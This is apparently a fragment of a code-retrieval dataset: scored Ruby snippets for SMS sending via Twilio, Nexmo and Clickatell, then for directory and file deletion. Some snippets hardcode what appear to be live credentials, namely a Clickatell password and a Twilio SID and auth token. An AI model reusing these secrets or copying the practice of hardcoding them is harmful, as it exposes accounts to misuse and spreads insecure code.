message to #{recipients} subscribers: domain=#{current_account.domain}, parts=#{parts}\"\n ServiceLayer.new.send_messages(numbers, message)\n logger.info \"Finished sending\"\n end\n else\n flash[:notice] = \"You have no subscribers or the message is blank\"\n end\n\n redirect_to subscribers_url\n end", "title": "" }, { "docid": "75a67bf4757c9ddc72d3ee32006b3d2c", "score": "0.70004755", "text": "def sendSMS(url, payload)\n content_type = 'application/json' \n self.postRequest(url, payload.to_json, :Content_Type => content_type)\n end", "title": "" }, { "docid": "9dd94ba7c0bb5732f528dd197547272c", "score": "0.6993782", "text": "def send_message(message) # Should get number to send to in real production\n client = Twilio::REST::Client.new ENV[\"twi_acc_SID\"], ENV[\"twi_auth_token\"]\n client.messages.create( from: ENV[\"twi_from\"],\n to: ENV[\"twi_to\"],\n body: message)\n end", "title": "" }, { "docid": "5cbb3bd9987a9c3a8c68474886a6e25d", "score": "0.698931", "text": "def send_message(sms_message, opts = {})\n data, _status_code, _headers = send_message_with_http_info(sms_message, opts)\n return data\n end", "title": "" }, { "docid": "fe8974fdb9d974c5bfd0bbd0ecb72464", "score": "0.69834894", "text": "def post_sms phoneNumber, message\n self.post_to @sms_conn, SMS_KEY, JSON.generate({ phoneNumber: phoneNumber, message: message })\n end", "title": "" }, { "docid": "6e6e06296e71330e622f0c2dae72b5d2", "score": "0.69770545", "text": "def create\n api = Clickatell::API.authenticate(3394680, \"johnelauria\", \"$ys2012tems?\")\n @smstext = Smstext.new(params[:smstext])\n recipient = @smstext.recipient\n smsmessage = @smstext.smsmessage\n api.send_message(recipient, smsmessage)\n\n respond_to do |format|\n if @smstext.save\n flash[:success] = \"You have successfully sent a SMS message\"\n format.html { redirect_to @smstext }\n format.json { render json: @smstext, status: :created, location: @smstext }\n else\n format.html { render action: \"new\" }\n format.json { render json: @smstext.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "81d7b4c63b1a63bb4483a0f177d03c44", "score": "0.6973885", "text": "def send_message(message)\n message = message.to_s\n msg = Message.new(self, @sqs.interface.send_message(@url, message), message)\n msg.sent_at = Time.now\n msg\n end", "title": "" }, { "docid": "4a31846dc7bfd19064e4c07bf06a6542", "score": "0.69583756", "text": "def sms(message, to: nil, from: nil, action: nil, method: nil, status_callback: nil, **keyword_args)\n append(Sms.new(message, to: to, from: from, action: action, method: method, status_callback: status_callback, **keyword_args))\n end", "title": "" }, { "docid": "4a31846dc7bfd19064e4c07bf06a6542", "score": "0.69583756", "text": "def sms(message, to: nil, from: nil, action: nil, method: nil, status_callback: nil, **keyword_args)\n append(Sms.new(message, to: to, from: from, action: action, method: method, status_callback: status_callback, **keyword_args))\n end", "title": "" }, { "docid": "5cda7d625a2345dba531e840cf296c1c", "score": "0.69338036", "text": "def send(message, to)\n send_message = {\n to: \"+#{to}\",\n from: ENV['TWILIO_NUMBER'],\n body: \"Wellcome To hoshyaar.\\nPlease enter #{message} security code for phone verification.\"\n }\n client.messages.create(send_message)\n # client.api.account.messages.create(message)\n end", "title": "" }, { "docid": "7b59e1ceaa485f8bfc93332d055aa7c8", "score": "0.69278467", "text": "def send_message\n return if message.blank?\n\n sender.send_message(receiver, message, I18n.t(\"activity.verb.#{ verb }.#{ receiver.subject_type }.message\", :name => sender.name))\n end", "title": "" }, { "docid": "7b59e1ceaa485f8bfc93332d055aa7c8", "score": "0.69278467", "text": "def send_message\n return if message.blank?\n\n sender.send_message(receiver, message, I18n.t(\"activity.verb.#{ verb }.#{ receiver.subject_type }.message\", :name => sender.name))\n end", "title": "" }, { "docid": "f2da45a127ab58914c4aa1096e774a20", "score": "0.6927763", "text": "def send_message(number, message)\n puts \"sending message to #{number}\"\n puts 'the message is'\n puts message\n if message.length > 160\n puts 'this message must be broken down into small pieces. Fucking twilio'\n chunks = message.scan(/.{150}/)\n puts chunks\n num = chunks.count\n puts \"the number is: #{num}\"\n count = 1\n chunks.each do |chunk|\n puts 'sending a chunk'\n mess = chunk.insert(0, \"(#{count}/#{num}) \")\n count += 1\n params = {'src' => '13069881525', \n 'dst' => number, \n 'text' => mess,\n 'type' => 'sms',\n }\n response = $sms.send_message(params)\n # $sms.account.sms.messages.create(\n # :from => '+14509000103',\n # :to => number,\n # :body => mess\n # )\n end\n else\n \n puts \"Sending a message to #{number}\"\n params = {'src' => '13069881525', \n 'dst' => number, \n 'text' => message,\n 'type' => 'sms',\n }\n response = $sms.send_message(params)\n # $sms.account.sms.messages.create(\n # :from => '+14509000103',\n # :to => number,\n # :body => message\n # )\n end\n \n # Nexmo stuff\n # response = $sms.send_message({\n # from: '16477252253',\n # to: number,\n # text: message\n # })\n # \n # if response.success?\n # puts \"Sent message #{response.message_id}\"\n # elsif response.failure?\n # raise response.error\n # end\n \n # Pilvio stuff\n # params = {'src' => '13069881525', \n # 'dst' => number, \n # 'text' => message,\n # 'type' => 'sms',\n # }\n # response = $sms.send_message(params)\n end", "title": "" }, { "docid": "e871d101119b7d86f8a5ed5c8c06d4a2", "score": "0.69234055", "text": "def send_message(message)\n @matrix.rooms.actions.send_message @room.id, message\n end", "title": "" }, { "docid": "9c89487874b74b2548bed655b862d133", "score": "0.69145525", "text": "def send(msg)\n return nil if msg =~ /^ *$/\n raise 'No Destination!' if @destination.nil?\n if(msg.chars.length < 1600)\n @client.api.account.messages.create(\n from: ENV['twilio_phone_number'],\n to: destination,\n body: msg\n )\n else\n count_it = (msg.chars.length / 1600) + 1\n si, ei = 0, 1600\n\n count_it.times do\n @client.api.account.messages.create(\n from: ENV['twilio_phone_number'],\n to: destination,\n body: msg[si..ei]\n ) \n si += 1600\n ei += 1600\n end\n\n end\n end", "title": "" }, { "docid": "0c30f8be561d4afca1c4fd5500198f6f", "score": "0.69082046", "text": "def send_message(phone_number, message)\n HTTParty.post(\n \"#{api_base_path}/messages\",\n headers: { 'D360-API-KEY': provider_config['api_key'], 'Content-Type': 'application/json' },\n body: {\n to: phone_number,\n text: { body: message },\n type: 'text'\n }.to_json\n )\n end", "title": "" }, { "docid": "6ed7ddd06e03321869695ffb29a0f61a", "score": "0.69060695", "text": "def message\n @number_to_send_to = Loan.find(params[:id]).friend_phone\n @friend = Loan.find(params[:id]).friend\n @item = Loan.find(params[:id]).item\n\n twilio_sid = 'ACdc37ae4ed4ea6d40d8e0e08a02037a3f'\n twilio_token = '8078251ad469c0cb30fb8b6c039e2f43'\n twilio_phone_number = '+13106517025'\n\n @twilio_client = Twilio::REST::Client.new twilio_sid, twilio_token\n\n @twilio_client.account.sms.messages.create(\n :from => \"+13106517025\",\n :to => \"+\" + @number_to_send_to,\n :body => @friend + \"! You have Kevin's \" + @item + \", please return this at your earliest convience\"\n )\n redirect_to \"/loancentral\", :notice => \"Message Sent.\"\n end", "title": "" }, { "docid": "fcbe48f4c3b9310eeec5511f08cfc897", "score": "0.6895208", "text": "def send_to(msg, num)\n return nil if msg =~ /^ *$/\n @client.api.account.messages.create(\n from: ENV['twilio_phone_number'],\n to: num,\n body: msg\n )\n end", "title": "" }, { "docid": "60da15859ab710e131ed8f7f90622c12", "score": "0.68936986", "text": "def dispatch_smm(from_phone_number, to_phone_number, message_text, test, progress)\n\n begin\n # set up a client to talk to the Nexmo REST API\n nexmo = Nexmo::Client.new(key: PROD_API_KEY, secret: PROD_API_SECRET)\n\n # TODO: add status callback to get message delivery status and errors\n unless unsubscribed(to_phone_number, current_user[:id])\n messageId = nexmo.send_message(\n from: from_phone_number,\n to: to_phone_number,\n text: message_text,\n type: message_text.multibyte? ? 'unicode' : 'text',\n :'client-ref' => params[:campaign_id]\n\n )\n @success_count += 1\n puts \"New SMS sent to: \" + to_phone_number.to_s\n progress.push([\"Successfully sent message to #{to_phone_number}\", \"alert-success\"]) \n\n if Rails.env.production?\n tracker = Mixpanel::Tracker.new(Generic.get_mixpanel_key)\n tracker.track(current_user[:id], 'SMS Sent')\n end \n\n save_sent_message_log(messageId, from_phone_number, to_phone_number, message_text, \"queued\")\n else\n progress.push([\"Not sending, customer asked to unsubscribe: #{to_phone_number}\", \"\"])\n puts \"SMS not sent, customer unsubscribed - #{to_phone_number}\"\n end\n\n rescue => err\n progress.push([\"#{err.message}: #{to_phone_number}\", \"alert-error\"])\n puts \"SMS Sending failed: #{err.message} - #{to_phone_number}\"\n end\n\n return progress\n end", "title": "" }, { "docid": "0394016a73ab90481d65d3a7f403bbe2", "score": "0.68832856", "text": "def send_sms_confirmation!\n return false if _TC_sms_blocked\n return true if sms_confirmed?\n return false if _TC_phone_number.blank?\n\n format_phone_number\n confirmation_code = TwilioContactable.confirmation_code(self, :sms)\n\n # Use this class' confirmation_message method if it\n # exists, otherwise use the generic message\n message = (self.class.respond_to?(:confirmation_message) ?\n self.class :\n TwilioContactable).confirmation_message(confirmation_code)\n\n if message.to_s.size > 160\n raise ArgumentError, \"SMS Confirmation Message is too long. Limit it to 160 characters of unescaped text.\"\n end\n\n response = TwilioContactable::Gateway.deliver_sms(message, _TC_formatted_phone_number)\n\n if response.success?\n update_twilio_contactable_sms_confirmation confirmation_code\n end\n\n response\n end", "title": "" }, { "docid": "214f479db727327fbf92f99e1b0d68b9", "score": "0.68764687", "text": "def sendmsg msg \n send_data \"sendmsg\\n%s\" % msg\n end", "title": "" }, { "docid": "55d386d80ef56fe0f90941404ea21ab6", "score": "0.68669814", "text": "def send_message(phone_text, message, options={})\n mailer_klass.deliver_sms_through_gateway(phone_text, message, self.class.config.merge(options))\n {}\n end", "title": "" } ]
b4b1f5ca37e6808b1f29e3d3cc8e358f
Destroy directory. required attributes: key
[ { "docid": "48a183f259ef36dac3554572bc100d7c", "score": "0.6405541", "text": "def destroy\n requires :key\n\n service.delete_container(key)\n end", "title": "" } ]
[ { "docid": "43fc2bd7903927fe39fe3a9d76b8d5e2", "score": "0.82836384", "text": "def destroy(key)\n path = @path.join key\n FileUtils.rm_rf path if path.exist?\n end", "title": "" }, { "docid": "840fae197c7e57a44348d6a091acd79f", "score": "0.7600209", "text": "def delete(key)\n rm(@dir / key)\n rescue\n raise_file_error(key)\n end", "title": "" }, { "docid": "3dd344bffd20d488b5b293abdbe5282b", "score": "0.7506338", "text": "def delete(key)\n init\n Array(key).each { |k| FileUtils.rm_rf(path_for_key(k)) }\n end", "title": "" }, { "docid": "c448423edbeceeeec540956020c55b3c", "score": "0.73983836", "text": "def delete(key)\n FileUtils.rm(get_path(key))\n end", "title": "" }, { "docid": "c448423edbeceeeec540956020c55b3c", "score": "0.73983836", "text": "def delete(key)\n FileUtils.rm(get_path(key))\n end", "title": "" }, { "docid": "f7325b9b88c9dbe6201ce60251bf47c7", "score": "0.73657906", "text": "def delete(key)\n FileUtils.rm(get_path(key))\n end", "title": "" }, { "docid": "3aae09f628a6dd41ec87e359e138f667", "score": "0.7300116", "text": "def delete(key)\n FileUtils.rm(get_path(key)) if File.exist? get_path(key)\n end", "title": "" }, { "docid": "e44ff94e60d362409eb4c9da6e508f6a", "score": "0.72874284", "text": "def destroy_file\n FileUtils.rm_rf dirname if File.exists?(dirname)\n end", "title": "" }, { "docid": "e28ce4078031f7b4a0f20996428b0888", "score": "0.7130594", "text": "def delete_tree(key)\n FileUtils.rm_rf(path_to(key))\n end", "title": "" }, { "docid": "01f72964d825fadd0a844a86cd828cef", "score": "0.70875984", "text": "def remove_key\n File.unlink key_path\n end", "title": "" }, { "docid": "bad49d52086b4d1b4cc1739eb0350038", "score": "0.7079174", "text": "def destroy\n FileUtils.rm_r(directory) if exist?\n end", "title": "" }, { "docid": "bad49d52086b4d1b4cc1739eb0350038", "score": "0.7079174", "text": "def destroy\n FileUtils.rm_r(directory) if exist?\n end", "title": "" }, { "docid": "bad49d52086b4d1b4cc1739eb0350038", "score": "0.7078881", "text": "def destroy\n FileUtils.rm_r(directory) if exist?\n end", "title": "" }, { "docid": "3ed21ed9d56a7ffd0c8480ec2e29a94b", "score": "0.70568967", "text": "def delete_dir!(path); end", "title": "" }, { "docid": "3ed21ed9d56a7ffd0c8480ec2e29a94b", "score": "0.70568967", "text": "def delete_dir!(path); end", "title": "" }, { "docid": "68a0be007c25bff80977c211f10a0b66", "score": "0.70064276", "text": "def delete(key)\n item_path = generate_path(key)\n if File.exists?(item_path)\n FileUtils.rm_f(item_path)\n end\n end", "title": "" }, { "docid": "001bf3ce03ead63d3048f8efdf85a06e", "score": "0.6977671", "text": "def delete\n dir.delete\n end", "title": "" }, { "docid": "16b26c73e50057fbbcff5ba549b6e1c8", "score": "0.6955757", "text": "def delete(key)\n success = nil\n err_msg = nil\n key_file = File.join(@root_path, key)\n if File.directory?(key_file)\n success = false\n err_msg = \"Key specifies a folder at '#{key_file}'\"\n else\n begin\n File.unlink(key_file)\n success = true\n rescue Errno::ENOENT\n # if the key doesn't exist, doesn't need to be deleted...going\n # to consider this success\n success = true\n rescue Exception => e\n success = false\n err_msg = \"Delete of '#{key_file}' failed: #{e.message}\"\n end\n end\n\n { :result => success, :err_msg => err_msg }\n end", "title": "" }, { "docid": "481c76f3f2ae857fca3cefd59e3d31f9", "score": "0.6941988", "text": "def destroy(path)\n directory = connection.directories.get(self.container)\n directory ||= connection.directories.create(self.permissions.merge(:key => self.container))\n\n file = directory.files.get(path)\n file.destroy if file\n end", "title": "" }, { "docid": "9babb80e1e0f74f07ab15dd9bcf87704", "score": "0.6936664", "text": "def delete\n if stat.directory?\n Dir.rmdir(file_path)\n else\n File.unlink(file_path)\n end\n end", "title": "" }, { "docid": "9babb80e1e0f74f07ab15dd9bcf87704", "score": "0.6936664", "text": "def delete\n if stat.directory?\n Dir.rmdir(file_path)\n else\n File.unlink(file_path)\n end\n end", "title": "" }, { "docid": "09f62ba8094abaea51d32b4c9f4feae7", "score": "0.68393314", "text": "def delete\n # avoid a get by just using local reference\n directory.files.new(:key => path).destroy.tap do |result|\n @file = nil if result\n end\n end", "title": "" }, { "docid": "ac966154fb5e4cfc1588e249565db2d0", "score": "0.68294185", "text": "def delete_directory\n create_directory.tap do |r|\n r.action(:delete)\n r.recursive(true)\n end\n end", "title": "" }, { "docid": "4cf76721cba259a3aade7b9fd37ba3e1", "score": "0.6827735", "text": "def destroy\n @keyfile.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "c7942eeac43e22ddba3507ebd364416a", "score": "0.67952245", "text": "def destroy!\n valid!\n\n begin\n Dir.rmdir(@path)\n rescue Errno::ENOENT\n raise ArgumentError, 'basepath does not exist!'\n rescue Errno::ENOTEMPTY\n raise ArgumentError, 'basepath not empty!'\n end\n\n self\n end", "title": "" }, { "docid": "b45d81061beaa96c6abd2bf344ca4b84", "score": "0.67890364", "text": "def destroy(options = {})\n requires :directory, :key\n attributes[:body] = nil if options['versionId'] == version\n service.delete_object(directory.key, key, options)\n true\n end", "title": "" }, { "docid": "cf474ee0dd4e7246fedc55d6fbeab9f2", "score": "0.67873675", "text": "def destroy\n @key.destroy\n end", "title": "" }, { "docid": "31cbc715a7b4b54fca241262f19640f9", "score": "0.67846817", "text": "def delete(key)\n File.delete(file_for(key)) rescue nil\n end", "title": "" }, { "docid": "ab78e957c9b5a93ae05e7abe75ac6fcc", "score": "0.6781426", "text": "def destroy\n destination = @resource.value(:destination)\n\n # Get all top level directories\n all_directories = Dir.glob(destination + '*')\n\n # Delete each and every directory\n FileUtils.rm_r all_directories\n end", "title": "" }, { "docid": "ab78e957c9b5a93ae05e7abe75ac6fcc", "score": "0.6781426", "text": "def destroy\n destination = @resource.value(:destination)\n\n # Get all top level directories\n all_directories = Dir.glob(destination + '*')\n\n # Delete each and every directory\n FileUtils.rm_r all_directories\n end", "title": "" }, { "docid": "a1205818336db3a860c2b527716c4cac", "score": "0.67599905", "text": "def destroy(options = {})\n requires :key\n requires :directory\n attributes[:body] = nil\n service.delete_blob(directory.key, key, options)\n\n true\n end", "title": "" }, { "docid": "7cdd668bf6bdf6ba2630667977bd030b", "score": "0.67411757", "text": "def destroy\n FileUtils.rm path if File.exists?(path)\n end", "title": "" }, { "docid": "1d9c1258dacdacf8accd1cf2ce467735", "score": "0.6688722", "text": "def destroy\n @directory = find_directory params[:path]\n @parent = @directory.parent\n @directory.destroy\n \n redirect_to @parent ? @parent.path : :root\n end", "title": "" }, { "docid": "447de415200b8b800639e75b91fcf8e6", "score": "0.6673296", "text": "def remove(key_file, key_dir_path)\n\n abs_key_path = File.join(key_dir_path, key_file)\n key = self.from_file(abs_key_path)\n\n # Remove the file itself\n File.unlink(abs_key_path)\n\n key_owner_dir = File.join(key_dir_path, key.owner)\n\n # Remove the location, if it exists and is empty\n if key.location\n self.delete_dir_if_empty(File.join(key_owner_dir, key.location))\n end\n\n # Remove the owner dir, if empty\n self.delete_dir_if_empty(key_owner_dir)\n end", "title": "" }, { "docid": "c7313196fe88a4ec238c2047ae4daaeb", "score": "0.66715354", "text": "def deletetree(keydir)\n success = nil\n err_msg = nil\n dir = File.join(@root_path, keydir)\n # FIXME: Is there an atomic way of doing this?\n if Dir.exist?(dir)\n begin\n FileUtils.rm_r(dir)\n success = true\n rescue Exception => e\n if Dir.exist?(dir)\n success = false\n err_msg = \"Folder delete of '#{dir}' failed: #{e.message}\"\n else\n # in case another process/thread successfully deleted the directory\n success = true\n end\n end\n else\n # if the directory doesn't exist, doesn't need to be deleted...going\n # to consider this success\n success = true\n end\n\n { :result => success, :err_msg => err_msg }\n end", "title": "" }, { "docid": "50088c0e8e2fd3a360d8c4623b1f58af", "score": "0.66343176", "text": "def destroy_key! attribute, key\n destroy_key(attribute, key).save\n end", "title": "" }, { "docid": "8593128f8290e642c4b131762826ecd8", "score": "0.65991986", "text": "def purge_directory(dir)\n res = Chef::Resource::Directory.new(dir, run_context)\n res.run_action(:delete)\n new_resource.updated_by_last_action(true) if res.updated?\n end", "title": "" }, { "docid": "5c763f353197e811f6cb7647efdc7191", "score": "0.6579564", "text": "def delete(key)\n @path.delete(key)\n end", "title": "" }, { "docid": "32822b6ab8370febfb53f6f6e5126760", "score": "0.65777844", "text": "def destroy_file\n FileUtils.rm full_filename\n # remove directory also if it is now empty\n Dir.rmdir(File.dirname(full_filename)) if (Dir.entries(File.dirname(full_filename))-['.','..']).empty?\n rescue\n logger.info \"Exception destroying #{full_filename.inspect}: [#{$!.class.name}] #{$1.to_s}\"\n logger.warn $!.backtrace.collect { |b| \" > #{b}\" }.join(\"\\n\")\n end", "title": "" }, { "docid": "f4d188bcf0683ccfdec44ad5a388a745", "score": "0.6575375", "text": "def destroy\n FileUtils.rm resource[:path] if File.exists? resource[:path]\n end", "title": "" }, { "docid": "a44187ed72a0838f44341644a227a76c", "score": "0.6547427", "text": "def delete\n if @path.directory?\n @path.rmtree\n elsif @path.exist?\n @path.delete\n end\n\n self\n end", "title": "" }, { "docid": "b02cfc9ca7284db6b8d1acfc8b1d0bd8", "score": "0.6529397", "text": "def rmdir\n Dir.rmdir(@path)\n end", "title": "" }, { "docid": "56f68f51cc6aedbf296b6719818db056", "score": "0.65254164", "text": "def delete(key, parameters = {})\n if File.file?(path = pathify(key, parameters))\n FileUtils.rm(path)\n end\n end", "title": "" }, { "docid": "7918fabc3e87bcaed45b214276540658", "score": "0.6519503", "text": "def destroy\n FileUtils.rm_rf resource[:path]\n end", "title": "" }, { "docid": "35e4af5f55341e06c4eb83de4b9f05ed", "score": "0.6504553", "text": "def destroy\n return false unless valid?\n\n begin\n Dir.rmdir(@path)\n rescue Errno::ENOTEMPTY, Errno::ENOENT\n return false\n end\n\n self\n end", "title": "" }, { "docid": "e942da9aa826c1ce71ed09e7e550a153", "score": "0.64673907", "text": "def delete_directory(share, directory, key = access_key, options = {})\n raise ArgumentError, \"No access key specified\" unless key\n\n query = {:restype => 'directory'}.merge(options).to_query\n\n response = file_response(key, query, 'delete', '', File.join(share, directory))\n\n Azure::Armrest::ResponseHeaders.new(response.headers).tap do |rh|\n rh.response_code = response.code\n end\n end", "title": "" }, { "docid": "2c13b6b7b82cd1731e57b4be02e4556c", "score": "0.64641017", "text": "def destroy(path)\n directory.files.get(path).destroy if directory.files.head(path)\n end", "title": "" }, { "docid": "1c62b727a591da5439f011b8c744f20d", "score": "0.64405584", "text": "def delete_dir!\n if hrx?\n if @parent_archive.equal?(@archive)\n _delete_parent!\n else\n @parent_archive.delete(@path_in_parent, recursive: true)\n _write!\n end\n else\n FileUtils.rm_rf(@path)\n end\n end", "title": "" }, { "docid": "8c579c1bb0aa31310b498eb9ef6f1393", "score": "0.64339125", "text": "def destroy!\n FileUtils.rm_rf(path)\n end", "title": "" }, { "docid": "3cd2c3e55eb4d0eb4c82aea30d9b758a", "score": "0.64203054", "text": "def delete(key)\n @root = delete_h(@root, key)\n @size -= 1\n end", "title": "" }, { "docid": "705d224695fb582c7eebbb314994607b", "score": "0.64158225", "text": "def delete\n FileUtils.rm path\n end", "title": "" }, { "docid": "2b3fbc942c2027feaef033fddd3edadf", "score": "0.64120305", "text": "def destroy\n `cd #{self.parent_path} && rm -rf #{self.name}`\n end", "title": "" }, { "docid": "de487fe3810883b5b9b6caac9554dee4", "score": "0.6407662", "text": "def delete\n children.each(&:delete)\n ::Dir.rmdir(@path)\n end", "title": "" }, { "docid": "2f848bb8740e8be80360b3bd42d4eefd", "score": "0.6405401", "text": "def delete_key(path)\n @doc.root.delete path \n end", "title": "" }, { "docid": "f616f30bc0881c37c14e46cb2f36e5fd", "score": "0.6400991", "text": "def delete\n res = FileUtils.rm_rf(@dir) if File.exist?(@dir)\n end", "title": "" }, { "docid": "239d813f57ed05343fcd3933849f7a62", "score": "0.63969415", "text": "def destroy\n keys = rcache.keys(\"%s/*\" % key_prefix)\n unless keys.nil? || keys.empty?\n rcache.del(*keys)\n end\n end", "title": "" }, { "docid": "753e4c0d3dfff350fd82c473b1dc46bf", "score": "0.6394508", "text": "def delete_root_directory\n directory new_resource.path do\n action :delete\n recursive true\n end\n end", "title": "" }, { "docid": "e68b2af095ffca076abc331a09eaf479", "score": "0.63871163", "text": "def delete_dir!(path)\n # do nothing, because there's no such things as 'empty directory'\n end", "title": "" }, { "docid": "e68b2af095ffca076abc331a09eaf479", "score": "0.63871163", "text": "def delete_dir!(path)\n # do nothing, because there's no such things as 'empty directory'\n end", "title": "" }, { "docid": "5c42e6b473b30b7fa09ba57fcf5bad3c", "score": "0.6384694", "text": "def rmdir(path); end", "title": "" }, { "docid": "e2f718b3f0a58a495b3eab0c8300eca4", "score": "0.6380768", "text": "def destroy\n debug 'Call: destroy'\n File.unlink resource[:path] if File.exists? resource[:path]\n end", "title": "" }, { "docid": "f3d8914cb728ef5221437b844f4d6289", "score": "0.6379778", "text": "def rmdir(path);end", "title": "" }, { "docid": "f3d8914cb728ef5221437b844f4d6289", "score": "0.6379778", "text": "def rmdir(path);end", "title": "" }, { "docid": "c4dc5f699bc97dde392465a64e124914", "score": "0.63780177", "text": "def deleteFile(key)\n\t\t\tunless key.nil?\n\t\t\t\tif @bucket.exists? && !@bucket.nil?\n\t\t\t\t\t@bucket.objects[key].delete()\n\t\t\t\tend\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "05c2eb4ee80ab00735a9c4876b336e8f", "score": "0.63682383", "text": "def empty_directory\n # If you want to keep it, not my problem.\n return if new_resource.keep_existing\n dest = new_resource.destination\n Dir.entries(dest).each do |entry|\n next if entry == '.' || entry == '..'\n FileUtils.remove_entry_secure(::File.join(dest, entry))\n end\n end", "title": "" }, { "docid": "739e6dcc6b89ea2599546c68ea0c016d", "score": "0.6357339", "text": "def rmdir(dirname); end", "title": "" }, { "docid": "1a23ae0ffdd7d2f9f87ac14e4c359354", "score": "0.6351881", "text": "def destroy\n\t\tFileUtils.rm_rf(\"#{params[:path]}/#{params[:name]}\")\n respond_with({status:\t\"successfully delected directory #{params[:path]}\"})\n end", "title": "" }, { "docid": "4c39debb375bb31e68f2e8f78a7e3d4b", "score": "0.6348665", "text": "def clear\n directory.rmtree if directory.exist?\n directory.mkpath\n end", "title": "" }, { "docid": "b08c89338c37945baf8f6181096d4624", "score": "0.6345987", "text": "def delete\n FileUtils.rm_rf @path\n end", "title": "" }, { "docid": "f28e34221d47e48b7c076ac1ae82c5e8", "score": "0.632566", "text": "def delete_dir!\n if hrx?\n if @parent_archive.equal?(@archive)\n _delete_parent!\n else\n @parent_archive.delete(@path_in_parent, recursive: true)\n if @parent_archive.entries.empty?\n _delete_parent!\n else\n _write!\n end\n end\n else\n FileUtils.rm_rf(@path)\n end\n end", "title": "" }, { "docid": "980e16e5ba356df758f5d806e0b5b027", "score": "0.6318848", "text": "def delete!\n FileUtils.rm_r path\n end", "title": "" }, { "docid": "11a54bd663879fd9d1aa3e0a02eb60f8", "score": "0.63125324", "text": "def destroy!\n State::files.delete(@path.to_sym)\n @data = nil\n end", "title": "" }, { "docid": "ba6d6bb178e22653f938c48d0874c6ae", "score": "0.63101816", "text": "def acts_as_filestore_destroy\n\t\t\t\tFileUtils::remove_dir(act_as_filestore_dir, true)\n\t\t\tend", "title": "" }, { "docid": "b37a57c42067f492dada5817fd17644d", "score": "0.63081235", "text": "def remove_directories\n directory new_resource.path do\n recursive true\n action :delete\n end\n end", "title": "" }, { "docid": "4c9dc0be66f295c203941ab09adf0700", "score": "0.62800586", "text": "def delete(cache_key)\n path = diskpath(cache_key)\n FileUtils.rm(path) if File.exist?(path)\n end", "title": "" }, { "docid": "06c3028ea898acf752f9b68965fbc13b", "score": "0.6277137", "text": "def delete_var_directory\n create_var_directory.tap do |r|\n r.action(:delete)\n r.recursive(true)\n end\n end", "title": "" }, { "docid": "c5d4d16e6e89d9a8750a817b66d1fba4", "score": "0.6273168", "text": "def delete!\n FileUtils.rm_rf @path\n end", "title": "" }, { "docid": "9c6af1fcae7d4d4b0eb98f92b1694afe", "score": "0.6270973", "text": "def delete_dir(path)\n path = parse_path(path)\n update_descriptor(path,'delete')\n @sandbox[path].entries.each do |file|\n if file.dir? == false\n #Deleting all the files from aws server\n if @aws_object.find(file,ENV['bucket'])\n @aws_object.delete(file, ENV['bucket'])\n end\n end\n update_descriptor(file,'delete')\n end\n\n @sandbox[path].destroy\n yield true\n end", "title": "" }, { "docid": "5f62d0690d3c9a55856534c030c90d8c", "score": "0.6270636", "text": "def delete\n raise PowError, \"Can not delete '#{path}'. It must be empty before you delete it!\" unless children.empty?\n Dir.rmdir path\n end", "title": "" }, { "docid": "1e477ead5ff52a8b36b3da01edf1c946", "score": "0.6269352", "text": "def destroy_key(key)\n @engine.destroy_key key.to_s\n end", "title": "" }, { "docid": "91634921dec8b5220acc1d98d13b89e5", "score": "0.6267843", "text": "def delete0()\r\n FileUtils.rm path\r\n end", "title": "" }, { "docid": "ec3e3dce20fc055b43e69d75c35f2ea4", "score": "0.62584436", "text": "def delete key\n File.delete( cache_file(key) ) if File.exists?( cache_file(key) )\n end", "title": "" }, { "docid": "72a88981d244f8909265177c4399e3fd", "score": "0.62533176", "text": "def delete_file\n return if path.nil? || !File.exist?(path)\n\n File.delete(path)\n\n pn = Pathname.new(path)\n FileUtils.remove_dir(pn.dirname, force: true)\n end", "title": "" }, { "docid": "da9c0bc7f9402b9b25193d9256d87512", "score": "0.62395984", "text": "def delete_recursive key\n @key = key\n url = [\"/v1/kv/#{@key}\",\"recurse\"]\n url += check_acl_token unless check_acl_token.nil?\n @raw = @conn.delete concat_url url\n end", "title": "" }, { "docid": "330fde98c2450c4a0b6dec22dd3ac1ff", "score": "0.6226742", "text": "def remove_key(_path)\n # TODO: Think of a generic mechanism\n # Delete key file\n if File.exist?(_path)\n File.delete(_path)\n end\n end", "title": "" }, { "docid": "93a2569c8f35bdb443e15bc0d0b3519f", "score": "0.6225336", "text": "def delete(key)\n storage.del key\n end", "title": "" }, { "docid": "95a49167513bcc79f92c22f110a908aa", "score": "0.6221028", "text": "def delete\n FileUtils.rm_r(path)\n end", "title": "" }, { "docid": "1d8fcba97e63048a5a9ec797a27f8ee6", "score": "0.6209652", "text": "def delete\n result = TencentCloudCos.delete(path)\n result.code == 204\n # TODO: delete parent dir if it's empty\n # ref: https://github.com/carrierwaveuploader/carrierwave/wiki/How-to%3A-Make-a-fast-lookup-able-storage-directory-structure\n end", "title": "" }, { "docid": "1b126abfbf8ab0e40d2ab739111274eb", "score": "0.6207975", "text": "def destroy\n @key_pair = KeyPair.find(params[:id])\n\n remove_key(File.join(KEY_STORAGE, @key_pair.file_name))\n\n @key_pair.destroy\n\n flash_message(:success, t('key_pairs.delete.success'))\n\n respond_to do |format|\n format.html do\n redirect_to key_pairs_path\n end\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "15b8fa211ed3cf0ec4766a59fc7c4c60", "score": "0.6203103", "text": "def delete(key)\n begin\n File.delete(*[key_filename(key),\n message_filename(dereference_key(key))].compact)\n rescue Errno::ENOENT\n end\n end", "title": "" }, { "docid": "08a9f55e4288d0aacf47d361ea2f355c", "score": "0.6202623", "text": "def delete_obj_file(key)\n delete_file(\"#{@@objects}/#{yaml_file(key)}\")\n end", "title": "" }, { "docid": "440d163f0775a1e1e8c90ffed2a5d6fd", "score": "0.6199629", "text": "def delete_dir(path, *options)\n raise \"delete_dir not implemented by class #{self.class}\"\n end", "title": "" }, { "docid": "4a6b95f189b24913ed2fbdd0b71fde3e", "score": "0.6198629", "text": "def delete_directory(path,repo)\n curl_delete(\"#{self.host}/api2/repos/#{repo}/dir/?p=#{path}\").body_str\n end", "title": "" }, { "docid": "40731c09b5e1931369883de1cb645a37", "score": "0.61978817", "text": "def destroy\n @directory = Cmtool::Directory.find(params[:id])\n @directory.destroy\n flash[:notice] = I18n.t('cmtool.action.destroy.successful', :model => Cmtool::Directory.model_name.human)\n respond_to do |format|\n format.html { redirect_to(cmtool.directories_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "dde70dabce5c6145d884d459ef895114", "score": "0.6191228", "text": "def delete_dir(options={})\n options={ :path => 